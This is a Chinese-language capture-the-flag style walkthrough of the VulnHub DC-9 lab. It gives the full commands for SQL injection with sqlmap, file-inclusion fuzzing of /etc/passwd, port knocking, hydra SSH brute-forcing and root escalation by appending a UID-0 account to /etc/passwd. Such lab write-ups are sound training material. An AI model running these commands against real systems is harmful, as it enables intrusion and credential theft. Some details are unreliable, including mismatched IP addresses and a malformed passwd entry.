注意,未经授权的渗透行为均为违法行为,这里攻击的都是官方靶机。
前言
DC系列靶机是一系列专门为渗透测试和网络安全实验室设计的虚拟机器。这些靶机提供了一系列不同的漏洞和攻击场景,使渗透测试者可以在这些环境下测试自的技能和工具。DC系列靶机包含多个不同的主题,例如各种操作系统的漏洞,Web应用程序安全和无线网络安全等。它们对初学者和专业人士都有很大的价值,因为它们可以帮助他们了解安全漏洞和如何利用它们进行渗透测试。
之前更新到DC-4了,感觉这次DC-9会更有内涵,所以先进行DC-9的更新,中间的会进行补充。
一、前提准备
攻击机:Kali
IP地址:192.168.163.143
靶机:DC-9(linux)
IP地址:192.168.9.131
DC-4下载地址:https://www.vulnhub.com/entry/dc-9,412/
网络:两个主机须在同一局域网下,所以虚拟机的网络配置器必须相同(NAT或者桥接)
目标:找到flag
二、渗透攻击
1.思路
进行渗透测试一定要有思路,我的思路是:
信息收集—> 寻找漏洞—> 利用漏洞(sql注入,文件上传漏洞,框架漏洞,ssh攻击等)—> 反弹shell—>进行提权
2.渗透过程
2.1 信息收集
我们先使用nmap工具扫描发现活动主机。
nmap -sP 192.168.163.0/24
我们发现了靶机的ip地址:192.168.163.143,然后我们进行端口扫描具体信息。
nmap -sS -O -p- 192.168.163.143
我们发现靶机开起了80端口和22端口,分别对应的是http服务和ssh服务,我们先进入网页查看一下。
我们先进行目录扫描和指纹识别,看有没有线索。
dirsearch -u http://192.168.163.143
发现了/config.php display.php logout.php manage.php search.php
我们分别看一下内容
config.php:空白页面
display.php: 有许多用户信息
logout.php: 进行了跳转,但是我们知道需要找到admin账户
manage.php:登录页面
search.php:发现了输入框
五个页面,感觉可以利用的为search.php页面,我们在看看网站用没用cms
cmseek -u http://192.168.163.143
2.2 漏洞发现
没有发现此网站使用的框架,所以我们在search.php页面入手,有输入框我们先进行sql注入
我喜欢使用bp进行抓包验证
Julie' and 1=1# 返回页面正确
Julie' and 1=2# 返回页面错误
于是我们发现有sql注入点直接放到sqlmap梭哈,我将抓到的数据包保存文件,直接sqlmap -r使用
users:
sqlmap -r 1.txt --dbs --batch
发现3个数据库,有用的Staff、users
sqlmap -r 1.txt -D "users" --tables --batch
发现了一个表
sqlmap -r 1.txt -D "users" -T "UserDetails" --columns --batch
发现了很多账户和密码
Staff:
sqlmap -r 1.txt -D "Staff" --tables --batch
发现了两个表:StaffDetails、Users
sqlmap -r 1.txt -D "Staff" -T "StaffDetails" --dump --batch
sqlmap -r 1.txt -D "Staff" -T "Users" --dump --batch
users:
Staff:
我们终于发现了admin用户,密码应该是md5加密,我们进行解密
admin:transorbital1
既然发现了sql注入我们不妨试一试sql注入的写入和读取,不可读取找不到路径就无法写入一句话木马,那我们登录查看
登陆后我们发现页面下有一句话,File does not exist(文件不存在,猜测又是文件包含),我们使用wfuzz进行模糊测试找出用什么参数进行文件包含
wfuzz -b 'PHPSESSID=0gd31ardktg006s57atg3q8ja2' -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.163.143/welcome.php?FUZZ=../../../../etc/passwd
wfuzz -b 'PHPSESSID=0gd31ardktg006s57atg3q8ja2' -w /usr/share/wfuzz/wordlist/general/common.txt --hw 78 http://192.168.163.143/welcome.php?FUZZ=../../../../etc/passwd
-b 指定cookie
我们这里的../../../../etc/passwd是一次一次试出来的,从/etc/passwd开始每次在前面加../
2.3 提权
到这里我们已经可以拥有了查看文件的权利,于是我查看了刚才页面什么也没有的config.php但是依旧没有结果,我把目标放入了ssh服务这里
根据我们查找到ssh服务为filtered状态,搜素一番发现可能安装 knockd 工具进行隐藏,于是我们搜索到可以通过端口探测进行开启ssh服务。
通俗来说端口探测可以理解为,我按顺序敲击端口就可以将ssh服务打开,反之敲击关闭,端口顺序存放在/etc/knockd.conf文件中。
先找到/etc/knockd.conf文件,发现端口顺序为7469,8475,9842
我们使用nc工具进行开启
nc -z 192.168.163.143 7469 8475 9842
我们现在成功开启了ssh服务,我们将前面sql注入出的用户名和密码整理一下进行ssh爆破。
user.txt
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
password.txt
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
hydra -L user.txt -P password.txt ssh://192.168.163.143
chandlerb:UrAG0D!
joeyt:Passw0rd
janitor:Ilovepeepee
使用九头蛇工具发现了3个账户,我们进行登录,寻找可以提权的信息。
在janitor用户下发现了与众不同的目录,里面包含着之前的密码。
su 切换用户
ls -al /home/用户名 查看目录下的隐藏文件
我们将里面的密码拿下来放入,密码本中继续爆破ssh。
成功跑出一组用户与密码
fredf:B4-Tru3-001
使用ssh登录fredf用户,并发现是有机会提权。
sudo -l
cd /opt/devstuff/dist/test
./test
我们发现test是一个python脚本,我们使用find命令进行查找
find / -name "test.py" -print 2>/dev/null
-print:打印每个匹配的文件名。
2>/dev/null:将所有错误消息重定向到 /dev/null,不显示它们。
cat /opt/devstuff/test.py
#!/usr/bin/python
import sys
if len (sys.argv) != 3 : #检查命令行参数的数量是否不等于3个
print ("Usage: python test.py read append")
sys.exit (1) #使用 sys.exit(1) 退出脚本,并返回状态码1
else :
f = open(sys.argv[1], "r")
#以读取模式打开命令行的第一个参数指定的文件,并将其文件对象赋值给变量f
output = (f.read())
f = open(sys.argv[2], "a")
#关闭之前打开的文件,并以追加模式打开命令行的第二个参数指定的文件,同样将文件对象赋值给变量 f。
f.write(output)
将之前读取的内容追加到新打开的文件中。
f.close()
思路:我们可以生成一串类似于/etc/passwd的信息,通过test.py脚本强加入/etc/passwd文件中,我们需要知道/etc/passwd文件信息的含义
root:x:0:0:root:/root:/bin/bash
root 用户名
:x 之前是用户密码(为安全考虑用x代替)
:0 UID
:0 GID
:root 全称,对用户的描述
:/root 用户家目录
:/bin/bash shell环境变量(查看用户是否作为可交互式,允许登录/bin/bash,不允许登录/sbin/nologin)之所以写入/etc/passwd文件中,是因为我们要追加一条uid=0的用户
因为root的UID=0
我们现在需要使用openssl生成密码
openssl passwd -1 -salt 用户名 密码
-1为MD5加密算法
-salt指定盐值
如:openssl passwd -1 -salt ming ming
构造出:ming:$1$ming$s9sIdQ6YfsMVvjeBZ4FIP/:0:0:root:/bin/bash
echo 'ming:$1$ming$s9sIdQ6YfsMVvjeBZ4FIP/:0:0:root:/bin/bash'>/tmp/ming
之所以写到tmp下,是因为tmp的文件所有用户都可写入
cd /tmp
sudo /opt/devstuff/dist/test/test ming /etc/passwd
su ming
id
最终我们提权成功
三、总结
DC-9靶场攻破过程:
1.首先我们进行主机发现与信息收集,发现了几个页面
2.我们深入挖掘页面,发现了sql注入将数据库爆出,登入网站后台,发现了文件包含漏洞,结合扫描出ssh端口状态我们判断其安装 knockd 工具,找到/etc/knockd.conf文件,将22端口open,紧接着通过数据库中的用户名和密码对ssh服务进行了爆破,拿到了可以登陆的用户与密码
3.在登录进入后,发现了之前保存的密码,在进行爆破发现了可以提权的用户,我们通过内部脚本,将新用户写入/etc/passwd文件中,完成提权